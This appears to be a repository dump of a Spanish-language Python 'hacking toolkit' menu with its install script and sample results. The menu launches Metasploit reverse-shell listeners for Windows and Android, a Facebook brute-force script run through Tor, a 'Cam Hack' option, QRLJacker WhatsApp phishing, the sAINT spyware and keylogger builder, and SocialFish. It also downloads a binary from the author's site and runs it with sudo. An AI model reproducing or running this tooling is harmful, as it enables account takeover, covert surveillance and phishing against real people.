False 31 | 32 | class SearchShodan: 33 | def __init__(self, API): 34 | self.api = shodan.Shodan(API) 35 | 36 | def SearchingShodan(self, string): 37 | none = 'null' 38 | global vulns, PrintBanners 39 | 40 | ResultFile = open('result/Shodan.json', 'w') 41 | 42 | try: 43 | if PrintBanners == True: 44 | banners.println(2) 45 | result = self.api.search(str(string)) 46 | print('[{}!{}] Resoult found: {}'.format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result['total'])) 47 | print("") 48 | #print(json.dumps(result, sort_keys=True, indent=2)) 49 | ResultFile.write(str(json.dumps(result, sort_keys=True, indent=3))) 50 | ResultFile.close() 51 | 52 | for data in result['matches']: 53 | print("[{}+{}] IP: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data['ip_str'])) 54 | print("[{}+{}] ISP: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data['isp'])) 55 | print("[{}+{}] Location: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, json.dumps(data['location'], sort_keys=True, indent=2))) 56 | print("[{}+{}] Organization: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data['org'])) 57 | print("[{}+{}] Operating System: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data['os'])) 58 | print("[{}+{}] Port: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data['port'])) 59 | print("[{}+{}] Product: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data.get('product', 'null'))) 60 | print("[{}+{}] Version: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data.get('version', 'null'))) 61 | #print("[{}+{}] Vulnerabilities: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, json.dumps(data.get('vulns', 'null'), sort_keys=True, indent=2))) 62 | if vulns == True: 63 | print("[{}+{}] Vulnerabilities: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, json.dumps(data.get('vulns', 'null'), sort_keys=True, indent=2))) 64 | print('') 65 | print("Results saved in {}result/Shodan.json{}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX)) 66 | time.sleep(2) 67 | banner() 68 | main() 69 | 70 | except Exception as e: 71 | print(f'Ha ocurido un error: {e}') 72 | result = [] 73 | return result 74 | 75 | class Metasploit: 76 | def MSF(): 77 | global ProgramName , color 78 | global Port 79 | global Host 80 | payload = 'none' 81 | 82 | print("") 83 | print("{}Select platform type{}".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)) 84 | print("") 85 | print("[{}01{}] Windows".format(color, Fore.LIGHTWHITE_EX)) 86 | print("[{}02{}] Android".format(color, Fore.LIGHTWHITE_EX)) 87 | print("[{}03{}] Linux".format(color, Fore.LIGHTWHITE_EX)) 88 | print("") 89 | 90 | option = input(str(" {} ({}Metasploit/MSF{}) > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 91 | 92 | if option == '01' or option == '1' or option == 'windows': 93 | print("Select the Payload") 94 | print("") 95 | print("[{}01{}] windows/meterpreter/reverse_tcp".format(color, Fore.LIGHTWHITE_EX)) 96 | print("[{}02{}] windows/meterpreter/reverse_http".format(color, Fore.LIGHTWHITE_EX)) 97 | print("[{}03{}] windows/meterpreter/reverse_https".format(color, Fore.LIGHTWHITE_EX)) 98 | print("[{}04{}] windows/meterpreter/bind_tcp".format(color, Fore.LIGHTWHITE_EX)) 99 | print("[{}05{}] windows/shell/bind_tcp".format(color, Fore.LIGHTWHITE_EX)) 100 | print("[{}06{}] windows/shell/reverse_tcp".format(color, Fore.LIGHTWHITE_EX)) 101 | 102 | option2 = input(str(" {} ({}Metasploit/MSF{}) Payload > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 103 | 104 | if option2 == '01' or option2 == '1' or option2 == 'windows/meterpreter/reverse_tcp': 105 | payload = 'windows/meterpreter/reverse_tcp' 106 | 107 | elif option2 == '02' or option2 == '2': 108 | payload = 'windows/meterpreter/reverse_http' 109 | 110 | elif option2 == '03' or option2 == '3': 111 | payload = 'windows/meterpreter/reverse_https' 112 | 113 | elif option2 == '04' or option2 == '4': 114 | payload = 'windows/meterpreter/bind_tcp' 115 | 116 | elif option2 == '05' or option2 == '5': 117 | payload = 'windows/shell/bind_tcp' 118 | 119 | elif option2 == '06' or option2 == '6': 120 | payload = 'windows/shell/reverse_tcp' 121 | 122 | elif option == '02' or option == '2' or option == 'android': 123 | print("") 124 | print("Select the Paylod") 125 | print("[{}01{}] android/meterpreter/reverse_tcp".format(color, Fore.LIGHTWHITE_EX)) 126 | print("[{}02{}] android/meterpreter/reverse_http".format(color, Fore.LIGHTWHITE_EX)) 127 | print("[{}03{}] android/meterpreter/reverse_https".format(color, Fore.LIGHTWHITE_EX)) 128 | print("") 129 | 130 | optionAndroid = input(str(" {} ({}Metasploit/MSF{}) Payload > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 131 | 132 | if optionAndroid == '01' or optionAndroid == '1': 133 | payload = 'android/meterpreter/reverse_tcp' 134 | 135 | elif optionAndroid == '02' or optionAndroid == '2': 136 | payload = 'android/meterpreter/reverse_http' 137 | 138 | elif optionAndroid == '03' or optionAndroid == '3': 139 | payload = 'android/meterpreter/reverse_https' 140 | 141 | Host = input(str(" {} ({}Metasploit/MSF{}) LHOST > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 142 | Port = input(str(" {} ({}Metasploit/MSF{}) LPORT > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 143 | datamsf = f"use exploit/multi/handler;set PAYLOAD {payload};set LHOST {Host}; set LPORT {Port};exploit" 144 | subprocess.call(["sudo", "msfconsole", "-q", "-x", datamsf]) 145 | mainMetasploit() 146 | 147 | def AutomaticAttack(): 148 | pass 149 | 150 | class IPInfo: 151 | def __init__(self, API): 152 | self.api = ipinfo.Handler(API) 153 | 154 | def SearchIP(self, IP): 155 | global PrintBanners 156 | resultIpInfo = open('result/IpInfo.json', 'w') 157 | result = self.api.getDetails(IP) 158 | #print(json.dumps(result.all, sort_keys=True, indent=2)) 159 | resultIpInfo.write(str(json.dumps(result.all, sort_keys=True, indent=2))) 160 | print("") 161 | print("[{}+{}] IP = {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result.ip)) 162 | print("[{}+{}] City = {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result.city)) 163 | print("[{}+{}] Country = {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result.country)) 164 | print("[{}+{}] Country Name = {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result.country_name)) 165 | try: 166 | print("[{}+{}] Hostname = {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result.hostname)) 167 | except: 168 | print("[{}!{}] Hostname = None".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)) 169 | print("[{}+{}] Coordinates = {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result.loc)) 170 | print("[{}+{}] Latitude = {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result.latitude)) 171 | print("[{}+{}] Longitude = {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result.longitude)) 172 | print("[{}+{}] Organization = {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result.org)) 173 | print("[{}+{}] Code Postal = {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result.postal)) 174 | print("[{}+{}] Region = {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result.region)) 175 | print("[{}+{}] TimeZone = {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result.timezone)) 176 | print("") 177 | print("Results Saved in {}result/IpInfo.json{} ".format(Fore.LIGHTRED_EX,Fore.LIGHTWHITE_EX)) 178 | time.sleep(5) 179 | if PrintBanners == True: 180 | banner() 181 | main() 182 | 183 | def main(): 184 | global color 185 | global ProgramName 186 | global PrintBanners 187 | print("") 188 | print("[{}01{}] Shodan [{}06{}] Scan".format(color, Fore.LIGHTWHITE_EX, color, Fore.LIGHTWHITE_EX)) 189 | print("[{}02{}] Metasploit [{}07{}] Search Engines".format(color, Fore.LIGHTWHITE_EX, color, Fore.LIGHTWHITE_EX)) 190 | print("[{}03{}] IP Info [{}08{}] Spy And Keylogger".format(color, Fore.LIGHTWHITE_EX, color, Fore.LIGHTWHITE_EX)) 191 | print("[{}04{}] Brute Force [{}09{}] Phishing".format(color, Fore.LIGHTWHITE_EX, color, Fore.LIGHTWHITE_EX)) 192 | print("[{}05{}] Exploits".format(color, Fore.LIGHTWHITE_EX)) 193 | print("") 194 | print("[{}88{}] Update".format(color, Fore.LIGHTWHITE_EX)) 195 | print("[{}99{}] Exit".format(color, Fore.LIGHTWHITE_EX)) 196 | print("") 197 | 198 | options = input(str(" {} > ".format(ProgramName))) 199 | 200 | if options == '01' or options == '1' or options == 'shodan': 201 | mainShodan() 202 | 203 | elif options == '02' or options == '2': 204 | mainMetasploit() 205 | 206 | elif options == '03' or options == '3': 207 | mainIPInfo() 208 | 209 | elif options == '04' or options == '4': 210 | if PrintBanners == True: 211 | banners.println(6) 212 | mainBruteForece() 213 | 214 | elif options == '05' or options == '5': 215 | mainExploits() 216 | 217 | elif options == '06' or options == '6': 218 | mainScan() 219 | 220 | elif options == '07' or options == '7': 221 | mainSearchEngines() 222 | 223 | elif options == '08' or options == '8': 224 | mainSpy() 225 | 226 | elif options == '09' or options == '9': 227 | mainPhishing() 228 | 229 | elif options == '88' or options == 'update': 230 | Update() 231 | 232 | elif options == '77': 233 | os.system("git pull") 234 | 235 | elif options == '99' or options == 'exit': 236 | banners.println(0) 237 | sys.exit 238 | 239 | else: 240 | print("[{}!] Option not available error{}".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)) 241 | main() 242 | 243 | def mainShodan(): 244 | global ProgramName, color, vulns 245 | 246 | f = open('APIs/Shodan.txt', 'r') 247 | num = len(f.read()) 248 | if num < 2: 249 | f.close 250 | api = open('APIs/Shodan.txt', 'w') 251 | print("Go to {}https://account.shodan.io/{} to see your API".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)) 252 | API = input(str("enter your Shodan API: ")) 253 | print("API Save to {}APIs/Shodan.txt{}".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)) 254 | api.write(API) 255 | api.close() 256 | mainShodan() 257 | 258 | else: 259 | files = open('APIs/Shodan.txt', 'r') 260 | APIKEY = files.read() 261 | #print(APIKEY) 262 | user = SearchShodan(str(APIKEY)) 263 | print("") 264 | search = input(str(" {} ({}Shodan{}) Search > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 265 | optionVuln = input("You want to see the vulnerabilities y/N > ") 266 | 267 | if optionVuln == 's' or optionVuln == 'S' or optionVuln == 'si' or optionVuln == 'Si' or optionVuln == 'y' or optionVuln == 'Y': 268 | vulns = True 269 | 270 | else: 271 | vulns = False 272 | 273 | user.SearchingShodan(search) 274 | 275 | def mainMetasploit(): 276 | global ProgramName, color, PrintBanners 277 | if PrintBanners == True: 278 | banners.println(1) 279 | print("") 280 | print("[{}01{}] Listen Payload".format(color, Fore.LIGHTWHITE_EX)) 281 | print("[{}02{}] Payload Generate".format(color, Fore.LIGHTWHITE_EX)) 282 | #print("[{}03{}] APK Injection".format(color, Fore.LIGHTWHITE_EX)) 283 | print("") 284 | print("[{}99{}] Back".format(color, Fore.LIGHTWHITE_EX)) 285 | print("") 286 | 287 | option = input(str(" {} ({}Metasploit{}) > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 288 | 289 | if option == '01' or option == '1': 290 | Metasploit.MSF() 291 | 292 | elif option == '02' or option == '2': 293 | PayloadGenerate.generate() 294 | banner() 295 | main() 296 | 297 | elif option == '03' or option == '3': 298 | pass 299 | 300 | elif option == '99': 301 | banner() 302 | main() 303 | 304 | else: 305 | print("{}[!] Option not available{}".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)) 306 | mainMetasploit() 307 | 308 | def mainIPInfo(): 309 | global ProgramName, color 310 | f = open('APIs/IpInfo.txt', 'r') 311 | API = f.read() 312 | #print(API) 313 | 314 | if len(API) < 1: 315 | f.close() 316 | Key = open('APIs/IpInfo.txt', 'w') 317 | print("") 318 | print("Ingresa a {}https://ipinfo.io/account{} para ver tu access token") 319 | print("") 320 | 321 | KEY = input("Ingresa tu API o Access Token > ") 322 | Key.write(KEY) 323 | API = KEY 324 | Key.close() 325 | 326 | banners.println(3) 327 | print("") 328 | 329 | User = IPInfo(API) 330 | option = input(str("{} ({}IP-Info{}) IP > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 331 | 332 | User.SearchIP(str(option)) 333 | 334 | def mainBruteForece(): 335 | global ProgramName, color, PrintBanners 336 | print("") 337 | print("[{}01{}] Facebook".format(color, Fore.LIGHTWHITE_EX)) 338 | #print("[{}02{}] Hydra".format(color, Fore.LIGHTWHITE_EX)) 339 | print("") 340 | print("[{}99{}] Back".format(color, Fore.LIGHTWHITE_EX)) 341 | print("") 342 | 343 | option = input(str(" {} ({}BruteForce{}) > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 344 | 345 | if option == '01' or option == '1': 346 | print("") 347 | print("[{}01{}] Start Brute Force".format(color, Fore.LIGHTWHITE_EX)) 348 | print("[{}02{}] Continue Brute Force".format(color, Fore.LIGHTWHITE_EX)) 349 | print("") 350 | print("[{}99{}] Back".format(color, Fore.LIGHTWHITE_EX)) 351 | print("") 352 | 353 | option1 = input(str(" {} ({}BruteForce/Facebook{}) > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 354 | 355 | if option1 == '01' or option1 == '1': 356 | os.system("sudo chmod +x core/FB-BruteForce/FacebookBruteForce.sh") 357 | os.system("sudo service tor start") 358 | os.system("sudo ./core/FB-BruteForce/FacebookBruteForce.sh") 359 | mainBruteForece() 360 | 361 | elif option1 == '02' or option1 == '2': 362 | os.system("sudo ./core/FB-BruteForce/FacebookBruteForce.sh --resume") 363 | if PrintBanners == True: 364 | banners.println(6) 365 | mainBruteForece() 366 | 367 | elif option1 == '99': 368 | if PrintBanners == True: 369 | banners.println(6) 370 | mainBruteForece() 371 | 372 | elif option == '99': 373 | banner() 374 | main() 375 | 376 | else: 377 | print("{}[!] Option not available{}".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)) 378 | mainBruteForece() 379 | 380 | def mainExploits(): 381 | global ProgramName, color 382 | 383 | print("") 384 | print("[{}01{}] Cam Hack".format(color, Fore.LIGHTWHITE_EX)) 385 | print("[{}02{}] SET".format(color, Fore.LIGHTWHITE_EX)) 386 | print("[{}03{}] QrJacker ({}WhatssApp{})".format(color, Fore.LIGHTWHITE_EX, Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX)) 387 | print("[{}04{}] AndroidSploit".format(color, Fore.LIGHTWHITE_EX)) 388 | print("") 389 | print("[{}99{}] Back".format(color, Fore.LIGHTWHITE_EX)) 390 | print("") 391 | 392 | option = input(str(" {} ({}Exploit{}) > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 393 | 394 | if option == '01' or option == '1': 395 | print("") 396 | camHackers.init() 397 | mainExploits() 398 | 399 | elif option == '02' or option == '2': 400 | os.system("sudo setoolkit") 401 | 402 | elif option == '03' or option == '3': 403 | if os.path.exists("geckodriver") == False: 404 | os.system("wget https://z0172ck.me/Files/geckodriver") 405 | os.system("chmod +x geckodriver") 406 | os.system("sudo cp -f geckodriver /usr/local/share/geckodriver") 407 | os.system("sudo ln -s /usr/local/share/geckodriver /usr/local/bin/geckodriver") 408 | os.system("sudo ln -s /usr/local/share/geckodriver /usr/bin/geckodriver") 409 | 410 | print("") 411 | print("Recuerde ir a {}127.0.0.1:1337{} para ver la pagina Phishing".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)) 412 | #os.system("firefox 127.0.0.1:1337 &") 413 | print("") 414 | time.sleep(1) 415 | #os.system("xterm -hold -e firefox z0172ck.me") 416 | os.system("cd core/QRLJacker/ && python3 QrlJacker.py -q -r .ataque") 417 | 418 | mainExploits() 419 | 420 | elif option == '04' or option == '4': 421 | pass 422 | 423 | elif option == '99': 424 | banner() 425 | main() 426 | 427 | else: 428 | print("{}[!] Option not available{}".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)) 429 | mainExploits() 430 | 431 | def mainScan(): 432 | global ProgramName, color 433 | 434 | print("") 435 | print("[{}01{}] Nmap".format(color, Fore.LIGHTWHITE_EX)) 436 | print("[{}02{}] Web Vulnerability Scanner".format(color, Fore.LIGHTWHITE_EX)) 437 | print("") 438 | print("[{}99{}] Back".format(color, Fore.LIGHTWHITE_EX)) 439 | 440 | option = input(str(" {} ({}Scan{}) > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 441 | 442 | if option == '01' or option == '1': 443 | NmapScan() 444 | elif option == '02' or option == '2': 445 | print("") 446 | print("[{}01{}] Nikto".format(color, Fore.LIGHTWHITE_EX)) 447 | print("") 448 | print("[{}99{}] Back".format(color,Fore.LIGHTWHITE_EX)) 449 | print("") 450 | 451 | option2 = input(str(" {} ({}WebScan{}) > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 452 | 453 | if option2 == '01' or option2 == '1': 454 | print("") 455 | TARGET = input(str(" {} ({}WebScan/Nikto{}) Target > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 456 | print("") 457 | os.system(f"nikto -h {TARGET}") 458 | time.sleep(2) 459 | mainScan() 460 | 461 | elif option2 == '99': 462 | mainScan() 463 | 464 | else: 465 | print("[{}!] Option not available error{}".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)) 466 | mainScan() 467 | elif option == '99': 468 | main() 469 | 470 | else: 471 | print("{}[!] Option not available error{}".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)) 472 | mainScan() 473 | 474 | def NmapScan(): 475 | global ProgramName, color 476 | print("") 477 | Target = input(str(" {} ({}Scan/Nmap{}) Target > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 478 | print("Version 1.0") 479 | os.system(f"sudo nmap -sS -T4 -A -O {Target}") 480 | time.sleep(2) 481 | print("") 482 | main() 483 | 484 | def mainSearchEngines(): 485 | global color, ProgramName 486 | print("") 487 | print("[{}01{}] Namechk".format(color, Fore.LIGHTWHITE_EX)) 488 | print("") 489 | print("[{}99{}] Back".format(color, Fore.LIGHTWHITE_EX)) 490 | print("") 491 | 492 | option = input(str(" {} ({}SearchEngines{}) > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 493 | print("") 494 | 495 | if option == '01' or option == '1': 496 | name = input(str(" {} ({}UserNameSE/Namechk{}) Name > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 497 | os.system(f"bash ./core/Namechk/namechk.sh {name} -fu") 498 | mainUserSearchEngines() 499 | 500 | elif option == '99': 501 | banner() 502 | main() 503 | 504 | else: 505 | print("[{}!] Option not available error{}".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)) 506 | mainScan() 507 | 508 | def mainSpy(): 509 | global ProgramName, color 510 | 511 | print("") 512 | print("[{}01{}] sAINT ({}java{})".format(color, Fore.LIGHTWHITE_EX, Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX)) 513 | #print("[{}02{}] SpyZ ({}Python{})".format(color, Fore.LIGHTWHITE_EX, Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX)) 514 | print("") 515 | print("[{}99{}] Back".format(color, Fore.LIGHTWHITE_EX)) 516 | print("") 517 | 518 | options = input(str(" {} ({}Spy{}) > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 519 | 520 | if options == '1' or options == '01': 521 | print("") 522 | if os.path.exists('core/sAINT') == False: 523 | os.system("cd core/ && git clone https://github.com/tiagorlampert/sAINT && cd sAINT && chmod +x configure.sh && sudo ./configure.sh ") 524 | 525 | os.system("cd core/sAINT && sudo java -jar sAINT.jar") 526 | print("\n\n") 527 | print("Spy Saved in {}result/sAINT{}.jar an .exe".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX)) 528 | os.system("sudo cp core/sAINT/target/saint-1.0-jar-with-dependencies.jar result/sAINT.jar") 529 | os.system("sudo cp core/sAINT/target/saint-1.0-jar-with-dependencies.exe result/sAINT.exe") 530 | mainSpy() 531 | 532 | elif options == '99': 533 | main() 534 | 535 | else: 536 | print("{}[!] Option not available{}".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)) 537 | mainSpy() 538 | 539 | def mainPhishing(): 540 | print("") 541 | print("[{}01{}] SocialFish".format(color, Fore.LIGHTWHITE_EX)) 542 | print("[{}02{}] Hide custom URL for social engineering".format(color, Fore.LIGHTWHITE_EX)) 543 | print("") 544 | print("[{}99{}] Back".format(color, Fore.LIGHTWHITE_EX)) 545 | print() 546 | 547 | options = input(str(" {} ({}Phishing{}) > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 548 | 549 | if options == '01' or options == '1': 550 | if os.path.exists("core/SocialFish/") == False: 551 | os.system("cd core/ && git clone https://github.com/UndeadSec/SocialFish") 552 | print("Ok") 553 | 554 | print("") 555 | try: 556 | os.system("cd core/SocialFish/ && sudo python3 SocialFish.py admin admin && echo Ok") 557 | except KeyboardInterrupt: 558 | mainPhishing() 559 | 560 | elif options == '02' or options == '2': 561 | UrlHider.main() 562 | 563 | elif options == '99': 564 | banner() 565 | main() 566 | 567 | else: 568 | print("{}[!] Option not avalible{}".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)) 569 | mainPhishing() 570 | 571 | def Update(): 572 | print("[{}+{}] updating".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX)) 573 | os.system("sudo git pull origin master") 574 | os.system("bash ./install.sh") 575 | os.system("sudo pip3 install -r requirements.txt") 576 | main() 577 | 578 | def Configurate(): 579 | global PrintBanners 580 | print("") 581 | print("[{}01{}] Print Banners | imprimir los banners") 582 | print("[{}99{}] Back") 583 | print("") 584 | 585 | option = input(str(" Z0172CK ({}Configuracion{}) > ")) 586 | 587 | if option == '01' or option == '1': 588 | option1 = input(str("Desea Desactivar los Banners [s/N] : ")) 589 | if option1 == 's' or 'S': 590 | PrintBanners(False) 591 | main() 592 | main() 593 | 594 | elif option == '99': 595 | banner() 596 | main() 597 | 598 | Configurate 599 | 600 | def banner(): 601 | global color 602 | 603 | banner ='''{} 604 | ███████╗ ██████╗ ██╗███████╗██████╗ ██████╗██╗ ██╗ 605 | ╚══███╔╝██╔═████╗███║╚════██║╚════██╗██╔════╝██║ ██╔╝ 606 | ███╔╝ ██║██╔██║╚██║ ██╔╝ █████╔╝██║ █████╔╝ 607 | ███╔╝ ████╔╝██║ ██║ ██╔╝ ██╔═══╝ ██║ ██╔═██╗ 608 | ███████╗╚██████╔╝ ██║ ██║ ███████╗╚██████╗██║ ██╗ 609 | ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝ 610 | Version V 1.2 By -Erik172 611 | {}'''.format(color, Fore.LIGHTWHITE_EX) 612 | 613 | print(banner) 614 | 615 | if __name__ == "__main__": 616 | if sys.platform == 'linux': 617 | try: 618 | banner() 619 | main() 620 | except KeyboardInterrupt: 621 | banners.println(0) 622 | sys.exit() 623 | 624 | else: 625 | print(sys.platform) 626 | print("[{}!{}] Platform not avalible to a".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)) 627 | sys.exit() -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | echo "Solucionando Problemas" 2 | sudo rm geckodriver 3 | sudo rm /usr/local/share/geckodriver 4 | sudo rm /usr/local/bin/geckodriver 5 | sudo rm /usr/bin/geckodriver 6 | 7 | echo -e "[ \e[32m + \e[0m ] Instalando Aplicaciones" 8 | echo "" 9 | sudo apt install python3 -y&& 10 | sudo apt install python3-pip -y && 11 | sudo apt install nmap -y && 12 | sudo apt install hydra -y && 13 | sudo apt install tor -y && 14 | sudo apt install curl -y && 15 | sudo apt install nikto nmap -y && 16 | sudo apt install maven default-jdk default-jre openjdk-8-jdk openjdk-8-jre -y && 17 | sudo apt install zlib1g-dev libncurses5-dev lib32z1 lib32ncurses6 -y && 18 | sudo apt install screen -y && 19 | echo "" 20 | echo -e "\e[32m OK \e[0m" 21 | 22 | echo "" 23 | echo -e "[ \e[32m + \e[0m ]Instalando Dependencias" 24 | sudo pip3 install -r requirements.txt 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /output/.files: -------------------------------------------------------------------------------- 1 | www.z0172ck.me 2 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | colorama==0.4.3 2 | shodan==1.23.0 3 | ipinfo==3.0.0 4 | terminaltables>=3.1.0 5 | selenium>=3.141.0 6 | Pillow>=5.4.1 7 | Jinja2>=2.10 8 | user-agent>=0.1.9 9 | argparse 10 | requests==2.31.0 11 | PyLaTeX==1.3.0 12 | python-nmap 13 | qrcode==6.1 14 | Flask==2.3.2 15 | Flask_Login==0.4.1 16 | nmap==0.0.1 17 | python-secrets 18 | pyshorteners -------------------------------------------------------------------------------- /result/IpInfo.json: -------------------------------------------------------------------------------- 1 | { 2 | "city": "San Francisco", 3 | "country": "US", 4 | "country_name": "United States", 5 | "ip": "185.199.108.153", 6 | "latitude": "37.7621", 7 | "loc": "37.7621,-122.3971", 8 | "longitude": "-122.3971", 9 | "org": "AS54113 Fastly", 10 | "postal": "94107", 11 | "region": "California", 12 | "timezone": "America/Los_Angeles" 13 | } -------------------------------------------------------------------------------- /result/Shodan.json: -------------------------------------------------------------------------------- 1 | { 2 | "matches": [], 3 | "total": 0 4 | } --------------------------------------------------------------------------------